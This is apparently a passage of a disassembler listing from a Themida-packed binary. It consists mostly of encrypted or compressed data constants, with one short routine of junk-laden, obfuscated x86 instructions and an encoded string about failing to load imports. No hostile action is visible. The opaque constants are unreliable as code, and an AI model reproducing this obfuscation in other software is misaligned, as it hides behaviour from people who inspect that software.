		dd 0C17C5CAFh, 8E492972h, 611CFC41h, 30EBCB10h,	10BB9BDEh
		dd 0F1348630h, 0C20B5611h, 90D727E2h, 62A9F5B0h, 0FD18FE82h
		dd 0E71E2BCDh, 1261719Eh, 0C3BBABC2h, 0E0FB192Fh, 0E71E7DEAh
		dd 0C285379h, 0C70C5Dh,	62A7F8C9h, 0F3D7F244h, 70E123CCh
		dd 57251F4Ah, 7883C618h, 0BABBE62Bh, 0E123CCEBh, 99BCE4D2h
		dd 89D5691Eh, 5C681EDBh, 6A1E9A19h, 0A9CDFD18h,	959E1E9Dh
		dd 57E83CF1h, 0ACD70F39h, 0A85h, 87D21100h, 325D773Eh
		dd 5D362816h, 10FDC417h, 0C9B67DC4h, 7E6B3279h,	3623EA33h
		dd 0EDDAA1E4h, 0A491589Bh, 5A470E53h, 1401C80Dh, 0C3B57CC5h
		dd 3DE76868h, 9634E906h, 0A757FFF9h, 0FC0FD0D3h, 0B86605AAh
		dd 63DE81Dh, 12E8C503h,	0F3000000h, 0D14BBAC3h
		dd 0EC9CFE1Ch, 50DD1B8Bh, 8FD05366h, 10E9602Dh,	0B000000h
		dd 393204Bh, 9ADBECCCh,	0E3167360h, 0F97B14B8h,	37B75961h
		dd 6C29C181h, 0B70F0000h, 0BFD22BF8h, 550C7C42h, 570A34FFh
		dd 0FF51BF66h, 0F515E58h, 286h,	5BD98B00h, 33A5C681h, 0C68136C1h
		dd 61116F67h, 0C6817AB7h, 2A59A7A9h, 0F38B6660h, 200CA81h
		dd 56613C58h, 0CE8h, 7E8D9600h,	0A3BC6FCDh, 2AAAFB01h
		dd 18F0FF4h, 0FC000000h, 11048F5Bh, 43BB6653h, 0BE8585Dh
		db 3 dup(0)
byte_5AB523	db 40h			; DATA XREF: Themida_:0053FAB4o
					; Themida_:0053FC68o
		dd 248E0B90h, 4D25C7CEh, 6E9A3F3h, 7E000000h, 0FCAC1829h
		dd 0EA835BD1h, 0C68B6604h, 94E8FA81h, 850FFFFFh, 2Eh, 11E8h
		dd 11F61600h, 0DBE6EACEh, 0F5C00FE4h, 0D1102FA0h, 0BF0FD85Bh
		dd 35E95FC3h, 55000000h, 9CE8E95h, 3D35C1DBh, 78E8D59Ch
		dd 11E94648h, 75000000h, 4A06F2B3h, 25ECD6ACh, 89D24804h
		dd 0A0B29521h, 0FFFF33E9h, 0BFFB94FFh, 5BBC477Dh, 0DCEB8D05h
		dd 0E8DD04EBh, 0BEE93AAFh, 6800000Dh, 63DEB64h,	0F994F5E9h
		dd 0EC3568FFh, 0EBE9063Dh, 68FFF994h, 63DED17h,	0F994E1E9h
		dd 0EDA168FFh, 0D7E9063Dh, 68FFF994h, 63DF150h,	0F994CDE9h
		dd 0F48C68FFh, 0C3E9063Dh, 68FFF994h, 63DF576h,	0F994B9E9h
		dd 2275BBFFh, 0EF388742h, 0C207540Fh, 91D627E2h, 61A4F6B1h
		dd 4CEED681h, 1CD7B7FAh, 0EDA888D1h, 0BB76569Dh, 0C448286Fh
		dd 2587C3DEh, 3764E71Eh, 0C80B5D43h, 7DC41401h,	8258AC9Dh
		dd 0F2E44964h, 0D9FFE75Ah, 0E97D4912h, 6674E714h, 0AE2A0748h
		dd 32563C5Fh, 8000000h,	0C7415B9h, 4C7720A7h, 0FDD32730h
		dd 4E3E8DDFh, 0CC75BF98h, 0F663648Fh, 75E75ADFh, 0F7BF884Fh
		dd 0EAE714C0h, 0B47DBEDCh, 0CC3C5F98h, 7, 9025B9Ah, 5D030000h
		dd 5DACCA11h, 3E80671h,	0E177F8D3h, 2B3AF40Fh, 0C9B697C2h
		dd 0D918367Dh, 49B7638Dh, 193AFD42h, 0A2A8C3E1h, 41E12351h
		dd 5F6F01Bh, 69B6F5B1h,	510D3D24h, 0B8DEE123h, 0D1236280h
		dd 61286FBBh, 0ACE40F47h, 5A789C91h, 8DA8FAE7h,	0E71448BDh
		dd 2DD082Eh, 24C15DCh, 77E71448h, 9DDC4B69h, 0D5DF0A51h
		dd 3C600C5Ch, 3F9DD726h, 50646681h, 0E107E714h,	4D9791C6h
		dd 36E822h, 27B60000h, 8DDFFDD3h, 0F1B8FD4Eh, 0C2ABACD7h
		dd 0E9E75AECh, 6B33FCC3h, 86E714D3h, 8AD31E34h,	4E9E8B52h
		dd 0FD4B4007h, 152356DFh, 0AB7BB6F7h, 0C3053C5Fh, 0D3000000h
		dd 3CA115Dh, 5FAEC416h,	0FD354F16h, 0D3FD4936h,	0AEF7AA02h
		dd 37FE36F0h, 0D7B7FE4Ah, 23225640h, 0A0E733E1h, 11A3F2C0h
		dd 4809E82Ch, 3985AAD5h, 0C289CE1Fh, 86A970A8h,	233E5C32h
		dd 0E75AEC1Ah, 0AFBDB01h, 0A7C2E0B6h, 0E16A6DABh, 0A2F41238h
		dd 2D6D4387h, 7C1720E1h, 0D02E6575h, 174F7AB2h,	254386D8h
		dd 0B4134BD6h, 0C3798A7h, 0EF055712h, 5520589Fh, 3FC32DDEh
		dd 0FFD1C077h, 0F900000Ah, 0C58060B3h, 924D2D76h, 65200045h
		dd 34EFCF14h, 14BF9FE2h, 0F5388A2Ch, 0C60F5A15h, 94DB2BE6h
		dd 66ADF9B4h, 11C0286h,	0E71E27C9h, 5D796D9Ah, 58AAC80Bh
		dd 23CC0D3Dh, 8DB8DEE1h, 458CD893h, 0D327B365h,	0DBC4DFFDh
		dd 0E75AECh, 0D3F1D9F4h, 4C72E714h, 3A844D14h, 0AFE714D3h
		dd 0EF4283A1h, 933C5FABh, 0B3BE0354h, 3B551C63h, 9FD610h
		dd 5DA40000h, 303CA11h,	0CCB496B1h, 1137E123h, 2C6FC1E6h
		dd 0D1F29C65h, 83CFE123h, 55A15C3Ch, 0D024470Eh, 578FD827h
		dd 0E3111E39h, 0D4FAE75Ah, 9AE726F4h, 7BCF2A55h, 296C87A5h
		dd 42E16A65h, 6DBFFE1Ch, 0FBC20557h, 0EC9A9E1h,	1459A6BCh
		dd 3F77BC09h, 0C3D4F774h, 0DAC9803Fh, 0A2Eh, 0AF8FE228h
		dd 7C5CA5F4h, 4F2F74C1h, 1EFE4394h, 0EECE1163h,	67B97D43h
		dd 3E894424h, 0A5A15F5h, 0DC28E3C3h, 4B31B595h,	1E201A30h
		dd 0A89CC9E7h, 0E8C80B5Dh, 99B4E12Dh, 0E123CCB1h, 0F4D40C32h
		dd 2EFB4A42h, 38CCDB2Ah, 84D0F520h, 852D9C5Ah, 404BD391h
		dd 5573ABEEh, 0C510F406h, 1D48C894h, 0BC034F3Ch, 169E5EDCh
		dd 19448BD7h, 76946ABEh, 5299E524h, 4546718Bh, 0E75A94B0h
		dd 61F87FCEh, 28C3CCB1h, 0D92922FDh, 79B1CB92h,	7A167D1Eh
		dd 81D58CDFh, 6A3E8DABh, 2A23A3D7h, 3B568EB9h, 48A8423Ah
		dd 1B6D8BB1h, 0E642CA00h, 48739948h, 1AF04467h,	0BB8FAAFCh
		dd 0CB48E642h, 0E6429AB0h, 62234948h, 0BED9113Ch, 4E9BB08Ah
		dd 0DE1D3B61h, 0B06B4B92h, 0DF521D64h, 0A890329Ah, 94C02F1h
		dd 460000h, 0C312CDADh,	92DF9A7Ah, 61B26D4Dh, 2F813C1Ch
		dd 63610CECh, 624285D7h, 33135CA7h, 1E12878h, 0D3B3FA46h
		dd 7C4E694Fh, 0EFE71E21h, 0B4ACEC2h, 96B077C0h,	0B3FA466Bh
		dd 9F75C9ECh, 0A5F02F81h, 507B955Ch, 5AFEC24Fh,	5D7BA1E7h
		dd 0A787CE1Eh, 8E559CECh, 14FD85C5h, 0ED7640E7h, 95DE714h
		dd 0ED18324Dh, 0A5CBE714h, 0F3344F6Dh, 0E8E16DC7h, 1965A4C2h
		dd 0C6F10BD2h, 65ACF8E5h, 0CD5F7D9Ah, 0B09F563Fh, 8C2h
		dd 432376BCh, 10F03988h, 0E3C30855h, 0B292D728h, 8262A5F7h
		dd 0FB4DE9D7h, 0D21DD8B8h, 9EEEA989h, 70BC7757h, 0DFC54929h
		dd 1E2186C4h, 443865E7h, 0DFFDD327h, 0AFFC3B8Dh, 0A289A36Ah
		dd 0E123CCA8h, 36142F3Bh, 0B5E123CCh, 1E39578Fh, 0E123CC2Ch
		dd 6D6E99BFh, 0E75AE6B8h, 0D9C68DB3h, 0E423418Ah, 2B255099h
		dd 11D82170h, 0A4C298EEh, 14D57989h, 0FDC4EAE7h, 7638141h
		dd 2516FB8h, 4493398Ah,	4E6E0FBh, 4B19133Eh, 0B279C00Ch
		dd 6B3279C5h, 0EDEE1951h, 0E7140BA1h, 0C0DEB40Ah, 98DF2F6Eh
		dd 0B7A6C6Dh, 0CBF1E714h, 0B0CB1DEBh, 0E7140B9Ah, 0BC055049h
		dd 0E62D7984h, 0FE4796BBh, 71E83737h, 0E3A70A73h, 7575883h
		dd 43E714A9h, 0CEFC1769h, 53E714A8h, 0DA00C106h, 177391AFh
		dd 165BACC8h, 0F443FEDEh, 0E31BE4ABh, 0CFE714A9h, 4288A3F5h
		dd 21E714A8h, 0CA91D828h, 3F5A78B0h, 0E714A80Bh, 6987B2D8h
		dd 84A0EF4Bh, 0D6B6EE33h, 357EC908h, 0F749546Eh, 0A8D3EDB4h
		dd 321F74Dh, 6A3178C4h,	0D2ED2550h, 0E714A885h,	0B807C211h
		dd 1FF6500h, 975EA7F6h,	6B77527Dh, 14967A50h, 8BC3E9E7h
		dd 6B2AFBC4h, 0A7CF53B2h, 0B0001668h, 5088A269h, 26446F89h
		dd 0C66AC708h, 0AE16A87Eh, 0C8000001h, 0C7F23989h, 0FDD327ABh
		dd 0E53A0DFh, 0FF90ABE3h, 0F4E75AF0h, 2571B0CEh, 0F743FEDEh
		dd 0F420E9B0h, 146E5D5Bh, 72BE1A38h, 44904B2Bh,	0E43636FDh
		dd 524481C9h, 80C91860h, 0E5DE9FB9h, 6D874E95h,	59AF0A35h
		dd 97E8A383h, 21E82F7Fh, 0FCCEE907h, 6F605244h,	0B4F31149h
		dd 0B9FC4E68h, 75A0D8F2h, 95459494h, 4B6E6469h,	529EC3EEh
		dd 24702B0Bh, 0D71616DDh, 16174285h, 0D2DF887Ah, 0DEA5EA37h
		dd 985FA4F1h, 0BFCDCA9Bh, 2BF7E41Dh, 0DCA8314Fh, 2D3797E6h
		dd 0E31A072Ah, 207C9AB8h, 0F2AD8DD4h, 98985FA6h, 651F2B46h
		dd 0A6CC12D8h, 21CA207Bh, 0A8C289D2h, 13375270h, 0D012D865h
		dd 0FE4D8CAAh, 0A9D4EEB5h, 8CA2F4AFh, 1731F841h, 0C91818DFh
		dd 0DCDBC162h, 0AA053060h, 21607E54h, 28608BD0h, 0D8A8390Dh
		dd 6EB9B212h, 0C445E25h, 0DE25712Ch, 33281C0h, 0D8A8E2E8h
		dd 235B8112h, 0D82A17F8h, 727A99B2h, 0A4F5752Ch, 28EF275Fh
		dd 328EAC6Ch, 42819FE6h, 0A0AAC5F2h, 4312D89Ch,	0C0BAE51Dh
		dd 4585A0F2h, 2612D89Ch, 64B0D500h, 9C2E1C37h, 97BD12D8h
		dd 1F75985Fh, 17DE2776h, 55A7C5FDh, 0BB82CB16h,	9C90BAA1h
		dd 0B90912D8h, 608BB172h, 9C350D28h, 90B612D8h,	1F93E2B0h
		dd 75B80A0Eh, 0ED78115Ah, 0A519DC2h, 0BF065643h, 11603EF8h
		dd 3E924FBBh, 0A2EFFA3Dh, 517C965Dh, 6DB91533h,	3F8B4626h
		dd 0B80E31F8h, 0ADA9C4E2h, 3612D85Ah, 72AAF13Dh, 4087D792h
		dd 2A005679h, 387BCD0Ch, 0F42C5771h, 0D85AE1D9h, 7C5C8212h
		dd 0DDF84ACAh, 0E123CCEDh, 0AD51757Eh, 0B0E17448h, 0D61D6D78h
		dd 0F33A86ABh, 25CE2213h, 33848FD4h, 7D98B6EEh,	0E75A3224h
		dd 0C4032147h, 924D2D74h, 0D0FA1542h, 93E7142Dh, 0C517356Dh
		dd 142DA0AAh, 0F84A43E7h, 9CD4EEB5h, 196D9071h,	0A6DE2370h
		dd 57E73688h, 13CE2A24h, 1A17331Ah, 0AED4E714h,	0A3304B83h
		dd 0E3E16D28h, 4B1257A4h, 322B0631h, 0BDD79EE7h, 0A9F5BE85h
		dd 12E1233Bh, 0AFCAE8BEh, 0E75A117Eh, 0F2314F75h, 6C5E79A6h
		dd 0FFE71422h, 9576A1D9h, 4A155CA8h, 39FA8923h,	1306F5ACh
		dd 0D000005h, 0D99474C7h, 0A661418Ah, 79341459h, 4803E328h
		dd 28D3B3F6h, 94C9E58h,	0DA236E29h, 0A8EF3FFAh,	7AC10DC8h
		dd 1530169Ah, 0E71E3D35h, 279589B6h, 0C4DFFDD3h, 0E75AD51Fh
		dd 16DFA6CCh, 0E714C449h, 0D3143240h, 3C5F905Eh, 0E522h
		dd 6782D400h, 0E714DC63h, 0A1BCDA00h, 0E714DCA9h, 0CDE9143Ah
		dd 23CC6581h, 3B53A4E1h, 0C3DDA4EBh, 72AAC48Bh,	4188D495h
		dd 49277061h, 0CC32102Bh, 8BB1E123h, 3685C4C4h,	519DC2EDh
		dd 0F0392A0Ah, 70A8EF3Fh, 0CC1B3752h, 0BCC8E123h, 23CCA9A1h
		dd 0DC143AE1h, 66C61515h, 91B9D45Fh, 52E123A8h,	0F72112Ch
		dd 92DE032Eh, 0ABE32678h, 8CF3E8Dh, 122DFA40h, 0D01FEDE7h
		dd 68509BFBh, 3E99C4D3h, 0AAF917F5h, 185DB1A4h,	91C9F44Ch
		dd 0F8D2ED3Fh, 11E123BBh, 5742E84Bh, 0F9F2B326h, 0FF2A62A9h
		dd 236DD0FEh, 8E557BE1h, 0CB823F8Eh, 0E2473F77h, 0D2ED5E11h
		dd 80AB744Fh, 2483377Fh, 254303E1h, 4E6C4A93h, 5771BDFCh
		dd 0DFF9C007h, 537B7CA7h, 0F8E12303h, 4762B4D2h, 0E1230303h
		dd 958FBAE0h, 0AFD8h, 0B4A8000h, 0F34E79BEh, 90ABC99Fh
		dd 0E75AE65Fh, 0BAA76E94h, 5546266Fh, 171C4A0Bh, 46AFB7E5h
		dd 26D1D368h, 92CA02C8h, 0E2D32274h, 0D0E0574Ch, 3E10113Ch
		dd 58E7143Eh, 4C7B7509h, 35609A8Ch, 0A46D345Ah,	0E714F4DDh
		dd 2F708E9Ch, 2FF15002h, 5B7Eh,	0DD274C00h, 84C6E1FFh
		dd 67E123CCh, 428D7A41h, 0C78ED726h, 185775ADh,	605A85CCh
		dd 2947256Fh, 2A5598EAh, 334EA0F2h, 0E123CC17h,	8283AED4h
		dd 0E123CD84h, 4C8BA9CFh, 0D3EDB4FDh, 0B0FEC7A8h, 82E1240Ch
		dd 0E635A4C2h, 13C9043h, 57B2DD6Ch, 0F6112F0Dh,	0E1235A18h
		dd 0AB5D3D63h, 0ACCA115Dh, 0ED51E6Dh, 0EEB3711h, 0A42796Eh
		dd 0BFFEFEDFh, 77642B74h, 0FE18DF28h, 2A769BC6h, 0BE1203E3h
		dd 0BEAFCAE8h, 35E75A1Ch, 377F480Fh, 0AAE7142Ch, 0F43D7E9Ch
		dd 8C3C6068h, 52h, 0FDD3275Ah, 203B8DDFh, 0E123CC2Ah, 378893B9h
		dd 0E6112BF2h, 5AECB8E5h, 9FBDE3E7h, 0D3517E50h, 0C5E32019h
		dd 146FA0AAh, 0F21D43E7h, 6F7E4811h, 4B73E714h,	0A40CF7FCh
		dd 0E40F14CFh, 0CA67A8C6h, 0B83C6064h, 0F39D0A69h, 3B66EE96h
		dd 11401h, 115DCF00h, 0C41603CAh, 0BF116381h, 23CCA6A4h
		dd 381F45E1h, 0E123CC12h, 728DABD1h, 0E123CC58h, 0D9BAE50Bh
		dd 3B59A0ECh, 0CCFCCEE9h, 0F712E123h, 0E123CCD3h, 83A96A90h
		dd 3E8A7758h, 129C2914h, 90ABB9D5h, 0E12380BAh,	93CB0329h
		dd 9D721CB3h, 34FE123h,	0D521DCBCh, 50A4C78Eh, 8415C7Ah
		dd 0DBE75ABEh, 0B507D5B5h, 17DE2776h, 0AE3416FDh, 91B7E714h
		dd 0E1B70B66h, 0B2271C3h, 54AC0402h, 0E9444570h, 95E16A89h
		dd 74B28B46h, 4D437756h, 4089ACC8h, 27022D65h, 84B8E22Eh
		dd 0EBB07DFCh, 504D144Ch, 704803F3h, 3C74ACBDh,	4A8DDF1Eh
		dd 475DAF6Ah, 7893B1F6h, 0E12DCA52h, 0E8B3EB11h, 3FC3619Bh
		dd 0D7AE9D54h, 0D1000001h, 9D58388Bh, 6A25054Eh, 3DF8D81Dh
		dd 0CC7A7ECh, 0EC9777BAh, 0CD106214h, 9EE732EDh, 6CB303BEh
		dd 3E85D18Ch, 0D9F4DA5Eh, 0E71E38F1h, 5D514572h, 83C7E20Bh
		dd 60E123CCh, 6722023Ah, 67B6D41Bh, 0B2D03C29h,	453F6A6Ch
		dd 0FDD32793h, 6A0690DFh, 0EF7B1DFBh, 4718CC4h,	2FE75A16h
		dd 2D794209h, 0A4E71429h, 0FA377896h, 863C6071h, 0BEh
		dd 0CA115D54h, 81C41603h, 0D185F1BAh, 1864E123h, 0D423F1D1h
		dd 81A41AB7h, 0D325D11h, 0D5C7AC1h, 0ABA1FFA8h,	795A858Bh
		dd 0E2C0256h, 2CDFF5BFh, 0BB0C9F0Fh, 0DB133E76h, 0B2FB4A89h
		dd 0BC458687h, 26E75Ah,	5DB2F20h, 0A5695E7h, 2168B8C3h
		dd 1AC5F5F6h, 0ADA6E16Ah, 0C1DF175Ch, 0DED3082h, 0F8D2ED3Fh
		dd 6BE12D02h, 0A3F51A45h, 0A95A9560h, 3CF33FC3h, 0ED4Dh
		dd 4EA1E700h, 1B64B36Eh, 0EE33803Bh, 0BD02530Eh, 8DD022DDh
		dd 780202ADh, 4803E326h, 19D4B4FDh, 0E7A282C9h,	0F074549Bh
		dd 39DBEF0Ah, 5B88E71Eh, 0F50B5D67h, 45255DA6h,	17F73E8Ah
		dd 9DD4FA49h, 6E58B2CDh, 115D2743h, 0CA1603CAh,	0CC48829Dh
		dd 0F51BE123h, 98ECDDBDh, 8E89A4C2h, 0D5E761B6h, 0AFFBE8AFh
		dd 81CD8868h, 6EAA733Ah, 2B1B8805h, 2E73C0DCh, 4E154D67h
		dd 3CA1161h, 7184C916h,	0B07C0523h, 0E5AB6D4h, 3A84C6E1h
		dd 4167DB8Ch, 3AC20823h, 7BA1DB8Ch, 0C0D62543h,	0B7FC49E8h
		dd 96BBD6F0h, 413B6656h, 2CF33A86h, 7C99DD2Ch, 0F30E53A0h
		dd 0E914F548h, 672E73C4h, 1EE5287Ah, 0D39AE131h, 0B3234AD6h
		dd 0FFCB5E31h, 0A27C0523h, 1C68C4E2h, 0EE3AF5D5h, 0FF1E0A7h
		dd 7D000000h, 5F6ABE2Eh, 44AEC90Eh, 516D9828h, 175D3628h
		dd 0C410FDC4h, 79C9B67Dh, 337E6B32h, 0E43623EAh, 9BEDDAA1h
		dd 53A49158h, 0D5A470Eh, 0C51401C8h
		db 7Ch,	0B5h, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	14C3h
		mov	[esp], edx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	esi
		push	eax
		mov	eax, 46E078CEh
		mov	esi, 659F26BBh
		xor	esi, eax
		pop	eax
		mov	edx, 29BD4817h
		sub	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ebx
		mov	ebx, 8
		add	ebx, esi
		push	eax
		mov	eax, 0
		add	eax, ebx
		mov	[eax], edx
		pop	eax
		pop	ebx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_544AAA
; ---------------------------------------------------------------------------
		db 36h,	0B9h, 0BFh
		dd 84572B2Bh, 0F688B82Ch, 0C503063Dh, 0DDCAE0FFh, 81D611DAh
		dd 99626B73h, 5D4200BEh, 5CE3603Dh, 46444D31h, 14915EF6h
		dd 521E5F3Eh, 15C6786Ch, 0EF24341Dh, 0A3862105h, 414A2E00h
		dd 0FB2C7BB6h, 0BA87289Bh, 741A2AE1h, 245678Ah,	16FE2007h
		dd 780B4BC5h, 0F68C20ADh, 306D212Ah, 20402704h,	28D17EAEh
		dd 0A7AB3CAAh, 217B70E3h, 9C561E62h, 0D9A24648h, 0B56A0E3Ah
		dd 8D8D645Dh, 63DF880h,	0DCC08166h, 758D8955h, 6A063718h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0C24DC351h, 0C7485EA2h, 37119585h, 635C06h
		dd 6E900h, 39F90000h, 0E7143FFh, 0F8185C7h, 637h, 0E0800000h
		dd 9DB5FF72h, 6A063720h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 5CE7C357h, 22E1A35Ch
		dd 44EC076Ch, 8E8h, 77A7BB00h, 58196715h, 10E997h, 0E81C0000h
		dd 0AF9AB839h, 0F92AE11Bh, 9133D8DCh, 0F5E6293h, 180h
		dd 95FFF500h, 6371291h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0A6C35747h, 0B2FBA950h, 0D11C7296h, 13E9h
		dd 0F71D3200h, 8513B8B8h, 0C0CFBE66h, 8B66B8B5h, 6AAF83E5h
		dd 95FF006Ah, 6373219h,	4EEBC08Bh, 873B824Dh, 41C50563h
		dd 20918EAEh, 0DAA1459h, 364A9099h, 202EC8A7h, 44463F1Ch
		dd 681324Ah, 0E5482D9Fh, 4F88EF62h, 924703BCh, 7AB77EB7h
		dd 81C01BF0h, 17F02684h, 0ADB00DCBh, 0C57A9A75h, 1051B940h
		dd 7D4E7B03h, 0E1332880h, 27E93A52h, 50000001h,	0AC73765Bh
		dd 154EEFh, 41000000h, 7245206Eh, 20726F72h, 20736168h
		dd 7275636Fh, 20646572h, 6C696877h, 6F6C2065h, 6E696461h
		dd 6D692067h, 74726F70h, 0AC370073h, 5CEB77E7h,	3C4977E7h
		dd 0E21F77E7h, 0E30077F7h, 77F7h, 777E6h, 5 dup(0)
		dd 0A5FD0000h, 77E7h, 2Bh dup(0)
		dd 20000h, 0E1480000h, 1DF4C706h, 0A6CF6392h, 7F0B8F96h
		dd 13113422h, 8735B11Ch, 6642050Ah, 35722B61h, 77A9F29Eh
		dd 0EF883211h, 515F7390h, 6ABFBF13h, 99170BA4h,	0E5D069C6h
		dd 515BD3A8h, 71563213h, 77A96145h, 0EF883211h,	515F7390h
		dd 9DBFBF13h, 99170BB8h, 0EDD069C6h, 41F9B1D5h,	66240FECh
		dd 6601B61Ah, 0E3053215h, 6079D505h, 0E3AFE2EAh, 602CD555h
		dd 0E34EE2EAh, 607310ACh, 0DE705A43h, 0D3EEAEBDh, 60BF112Ch
		dd 144EB798h, 0B6DD342Fh, 6068B79Ch, 0E3053422h, 6079CBE2h
		dd 0BEA7BF45h, 36170FEDh, 71FDA7EAh, 0E3833422h, 60151AC0h
		dd 66113215h, 4431B7D3h, 0E013422h, 0E8505B7Ch,	7D5887EAh
		dd 0E3053422h, 60730801h, 0E3ABE2EAh, 60261BBCh, 4431B7D3h
		dd 0E073422h, 0FA45594Bh, 7D5887EAh, 0E3053422h, 60730801h
		dd 0E3ABE2EAh, 602CCB1Ah, 4431B7D3h, 0E103422h,	88405A3Ch
		dd 7D5887EAh, 0E3053422h, 60730801h, 0E3ABE2EAh, 602CCB06h
		dd 4431B7D3h, 0E013422h, 0BC420AD7h, 7D5887EAh,	0E3053422h
		dd 60730801h, 0E3ABE2EAh, 602CCB02h, 6E158F96h,	69443422h
		dd 66227790h, 0DF94F415h, 238E0537h, 463AB47Dh,	2F97CDEFh
		dd 0EB17050Eh, 51B22690h, 0EF94CD13h, 5BDB2990h, 0DF94F413h
		dd 2A8E0537h, 4094F17Dh, 2F97CDF5h, 0EB17050Eh,	51B22690h
		dd 0EF94CD13h, 5BDB2D90h, 6651DB13h, 0E34E3215h, 607310ACh
		dd 822F5A47h, 0D3EE8E5Fh, 60BF1D00h, 5C50B798h,	0B6DD3422h
		dd 9F0AB79Ch, 0E34E3428h, 607310ACh, 2C6A5A47h,	0D3EE9459h
		dd 60BF1D00h, 5C50B798h, 0B6DD3422h, 9F0EB79Ch,	0E34E3428h
		dd 607310ACh, 0D2C85A47h, 0D3EECF57h, 60BF295Ch, 5C50B798h
		dd 0B6DD3422h, 62CCB79Ch, 0E34E3422h, 607310ACh, 0CE815A62h
		dd 0D3EEC182h, 60BF3648h, 5C50B798h, 0B6DD3422h, 6ED8B79Ch
		dd 0E34E3422h, 607310ACh, 57355A47h, 0D3EEB8C8h, 60BF295Ch
		dd 5C50B798h, 0B6DD3422h, 61E4B79Ch, 0E34E3422h, 607310ACh
		dd 0B1B5A43h, 0D3EEE60Ah, 60BF112Ch, 144EB798h,	0B6DD342Fh
		dd 750CB79Ch, 0E34E3422h, 607310ACh, 76585A52h,	0D3EEB3C9h
		dd 60BF295Ch, 5C50B798h, 0B6DD3422h, 6AC4B79Ch,	0E34E3422h
		dd 607310ACh, 0D3C05A52h, 0D3EEB81Ah, 60BF295Ch, 5C50B798h
		dd 0B6DD3422h, 9F2EB79Ch, 0DB0B3428h, 60732860h, 37A63D15h
		dd 0A0113213h, 51AA8B90h, 8F2C7E13h, 99FBE809h,	510A7BA0h
		dd 720DBF13h, 9942052Fh, 4DA7BBC5h, 0A0170FECh,	51AA8B90h
		dd 0A82C7E13h, 99FF46CBh, 510A7BA0h, 720DBF13h,	9942052Fh
		dd 49A7BBC5h, 0A0170FECh, 51AA8B90h, 592C7E13h,	9995B397h
		dd 510A7BA0h, 720DBF13h, 9942052Fh, 55A7BBC5h, 0A0170FECh
		dd 51AA8B90h, 7E2C7E13h, 99911D55h, 510A7BA0h, 720DBF13h
		dd 9942052Fh, 55A7BBC5h, 0A0170FECh, 51AA8B90h,	722C7413h
		dd 9998EC13h, 510A7BA0h, 720DBF13h, 9942052Fh, 5DA7BBC5h
		dd 0A0170FECh, 51AA8B90h, 1C2C7513h, 99A3EE05h,	510A7BA0h
		dd 720DBF13h, 9942052Fh, 25A7BBC5h, 0A0170FECh,	51AA8B90h
		dd 0CA2C7513h, 99CDB59Bh, 510A7BA0h, 720DBF13h,	9942052Fh
		dd 21A7BBC5h, 0A0170FECh, 51AA8B90h, 0B42C7513h, 99F6A8B2h
		dd 510A7BA0h, 720DBF13h, 9942052Fh, 2DA7BBC5h, 0A0170FECh
		dd 51AA8B90h, 622C7513h, 9998F32Ch, 510A7BA0h, 720DBF13h
		dd 9942052Fh, 29A7BBC5h, 0E5170FECh, 518787A8h,	46313213h
		dd 449BB7D3h, 0E563422h, 86FA1F72h, 7D0D87EAh, 0E3AF3422h
		dd 60260801h, 0E301E2EAh, 6079CB46h, 449BB7D3h,	0E563422h
		dd 0E8A181A4h, 7D0D87EAh, 0E3AF3422h, 60260801h, 0E301E2EAh
		dd 6079CB42h, 449BB7D3h, 0E523422h, 0A6FE78B2h,	7D0D87EAh
		dd 0E3AF3422h, 60260801h, 0E301E2EAh, 6079CB4Eh, 449BB7D3h
		dd 0E5D3422h, 9DEE5EFEh, 621987EAh, 0E3AF3422h,	60260801h
		dd 0E301E2EAh, 6079CBFAh, 449BB7D3h, 0E553422h,	0DDFBBC40h
		dd 7D0D87EAh, 0E3AF3422h, 60260801h, 0E301E2EAh, 6079CB4Ah
		dd 449BB7D3h, 0E523422h, 0DA065CE9h, 7D0D87EAh,	0E3AF3422h
		dd 60260801h, 0E301E2EAh, 6079CB76h, 449BB7D3h,	0E423422h
		dd 0A0980CBFh, 7D0D87EAh, 0E3AF3422h, 60260801h, 0E301E2EAh
		dd 6079CB72h, 718F8F96h, 69113422h, 6688D291h, 0DFC1F415h
		dd 20240537h, 0F0DF037Dh, 2F3DCDEFh, 0EB42050Eh, 51182690h
		dd 0EFC1CD13h, 5B71F190h, 0DFC1F413h, 20240537h, 0C12BE47Dh
		dd 2F3DCDE9h, 0EB42050Eh, 51182690h, 0EFC1CD13h, 5B71E190h
		dd 0DFC1F413h, 20240537h, 9AB5327Dh, 2F3DCD87h,	0EB42050Eh
		dd 51182690h, 0EFC1CD13h, 5B71E590h, 0DFC1F413h, 20240537h
		dd 0B25E587Dh, 2F3DCDE3h, 0EB42050Eh, 51182690h, 0EFC1CD13h
		dd 5B71E990h, 0DFC1F413h, 20240537h, 0AB41D57Dh, 2F3DCD81h
		dd 0EB42050Eh, 51182690h, 0EFC1CD13h, 5B71F590h, 0DFC1F413h
		dd 20240537h, 4465097Dh, 2F3DCDA4h, 0EB42050Eh,	51182690h
		dd 0EFC1CD13h, 5B71F990h, 0DFC1F413h, 20240537h, 1FFBDF7Dh
		dd 2F3DCDCAh, 0EB42050Eh, 51182690h, 0EFC1CD13h, 5B71FD90h
		dd 0D3F9B113h, 6624051Ah, 0E3D71260h, 60BF10ACh, 861A5A46h
		dd 0D3DDFCABh, 6026295Ch, 5C9CB798h, 0B6BB3422h, 9F49B79Ch
		dd 0E3D73428h, 60BF10ACh, 38C35A52h, 0D3DDF5A4h, 6026295Ch
		dd 5C9CB798h, 0B6BB3422h, 9F4DB79Ch, 0DB923428h, 60BF3DA0h
		dd 0A0644715h, 51008B90h, 63797513h, 996E506Bh,	515F7BA0h
		dd 72A7BF13h, 9917052Fh, 150DBBC5h, 0A0420FECh,	51008B90h
